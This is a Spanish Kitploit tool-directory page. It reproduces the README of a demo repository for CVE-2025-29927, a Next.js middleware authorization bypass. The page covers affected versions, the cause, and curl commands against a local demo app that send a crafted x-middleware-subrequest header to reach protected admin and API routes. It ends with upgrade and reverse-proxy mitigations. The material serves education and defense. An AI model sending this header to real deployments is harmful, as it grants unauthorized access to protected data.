Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
nextjs-cve-demo — Demostración de la vulnerabilidad de omisión de autorización de Middleware en Next.js (CVE-2025-29927), que permite a usuarios no autorizados acceder a información protegida. | Kitploit
Herramientas/GitHubGitHub/lstudlo/nextjs-cve-demo
Autenticación y AutorizaciónAnálisis de VulnerabilidadesExplotación de Aplicaciones WebPruebas de Seguridad de APIsMala ConfiguraciónAprendizaje y Educación
GitHublstudlo/nextjs-cve-demo

nextjs-cve-demo

Demostración de la vulnerabilidad de omisión de autorización de Middleware en Next.js (CVE-2025-29927), que permite a usuarios no autorizados acceder a información protegida.

Ver Repositorio
2hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Ejemplo: Bypass de Autorización en Next.js Middleware (CVE-2025-29927)

Este repositorio proporciona un proyecto de ejemplo que demuestra la vulnerabilidad de bypass de autorización en el middleware de Next.js (CVE-2025-29927). Esta vulnerabilidad permite que usuarios no autorizados accedan a recursos protegidos.

Resumen de la vulnerabilidad

CVE-2025-29927 es una vulnerabilidad de seguridad grave (puntuación CVSS: 9.1) que afecta al sistema de middleware de Next.js. Un atacante puede omitir por completo las comprobaciones de seguridad del middleware añadiendo una cabecera x-middleware-subrequest especialmente diseñada a la solicitud HTTP.

Versiones afectadas

  • Next.js 11.1.4 hasta 13.5.6
  • Next.js 14.x versiones anteriores a 14.2.25
  • Next.js 15.x versiones anteriores a 15.2.3

Impacto de la vulnerabilidad

  • Bypass de autorización: un atacante puede acceder a rutas protegidas (como /admin) sin autenticación
  • Bypass de seguridad de API: puede acceder a endpoints de API protegidos (como /api/confidential)
  • Bypass de cabeceras de seguridad: si cabeceras de seguridad como CSP, HSTS, etc., se configuran en el middleware, también se omiten

Requisitos previos

  1. Node.js y npm instalados
  2. Entra en la carpeta con cd y ejecuta npm install para instalar las dependencias
  3. Ejecuta npm run dev para iniciar el servidor de desarrollo de Next.js
  4. Abre http://localhost:3000 en el navegador para ver la página web actual

Comprender el principio de la vulnerabilidad

Next.js utiliza la cabecera interna x-middleware-subrequest para evitar que las llamadas recursivas del middleware provoquen bucles infinitos. Sin embargo, esta cabecera puede ser explotada por solicitudes externas. Cuando una solicitud incluye esta cabecera y alcanza la profundidad máxima de recursión (MAX_RECURSION_DEPTH), Next.js omite por completo la ejecución del middleware.

Cómo reproducir la vulnerabilidad

Paso 1: Acceso normal a la ruta protegida (será bloqueado)

Primero, intenta acceder normalmente a la ruta protegida:

root@kitploit:~
# 访问受保护的管理员页面
curl http://localhost:3000/admin/dashboard -v

Resultado esperado: serás redirigido a la página de inicio de sesión (redirección 302 a /login)

root@kitploit:~
# 访问受保护的 API
curl http://localhost:3000/api/confidential -v

Resultado esperado: devuelve un error 401 Unauthorized

Paso 2: Omitir el middleware usando la vulnerabilidad

Ahora, utiliza la cabecera especialmente diseñada para omitir el middleware:

root@kitploit:~
# 绕过 /admin 路径保护
curl http://localhost:3000/admin/dashboard \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -v

Resultado esperado: se accede correctamente al contenido de la página de administrador (200 OK)

root@kitploit:~
# 绕过 /api/confidential 保护
curl http://localhost:3000/api/confidential \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -v

Resultado esperado: se accede correctamente a la API y se obtiene información confidencial (200 OK)

Paso 3: Probar con el navegador

También puedes probar utilizando las herramientas de desarrollador del navegador:

  1. Abre las herramientas de desarrollador del navegador (F12)
  2. Cambia a la pestaña Network
  3. Usa la extensión ModHeader o una herramienta similar para añadir la cabecera:
    • Nombre de cabecera: x-middleware-subrequest
    • Valor de cabecera: middleware:middleware:middleware:middleware:middleware
  4. Accede a http://localhost:3000/admin/dashboard
  5. Deberías ver el contenido de la página de administrador en lugar de ser redirigido

Explicación de la vulnerabilidad

Cuando el middleware recibe una solicitud que contiene la cabecera x-middleware-subrequest:

  1. Next.js cree que se trata de una llamada recursiva interna
  2. Cuando el valor de la cabecera contiene suficientes marcadores de middleware (5 repeticiones), se activa el límite MAX_RECURSION_DEPTH
  3. Para evitar bucles infinitos, Next.js omite por completo la ejecución del middleware
  4. La solicitud llega directamente a la ruta de destino, omitiendo todas las comprobaciones de seguridad

Soluciones

1. Actualizar la versión de Next.js

Actualiza a una versión corregida:

  • 12.x: actualiza a 12.3.5 o superior
  • 13.x: actualiza a 13.5.9 o superior
  • 14.x: actualiza a 14.2.25 o superior
  • 15.x: actualiza a 15.2.3 o superior

2. Medidas de mitigación temporales

Si no puedes actualizar de inmediato, puedes bloquear las solicitudes que contengan la cabecera x-middleware-subrequest a nivel del proxy inverso (Nginx, Apache, etc.):

Ejemplo de configuración de Nginx:

root@kitploit:~
location / {
    if ($http_x_middleware_subrequest) {
        return 403;
    }
    proxy_pass http://localhost:3000;
}

Ejemplo de configuración de Apache:

root@kitploit:~
RequestHeader unset x-middleware-subrequest

3. Defensa en profundidad

Además del middleware, implementa comprobaciones de autenticación también en los manejadores de rutas:

root@kitploit:~
// 在 API 路由中添加额外的认证检查
export async function GET(request) {
    // 不要只依赖 middleware,在这里也检查认证
    if (!isAuthenticated(request)) {
        return new Response('Unauthorized', { status: 401 });
    }
    // ... 处理请求
}

Referencias

  • Next.js Security Advisory (GHSA-f82v-jwr5-mffw)
  • CVE-2025-29927 Details
  • Next.js Middleware Documentation
Descargar herramienta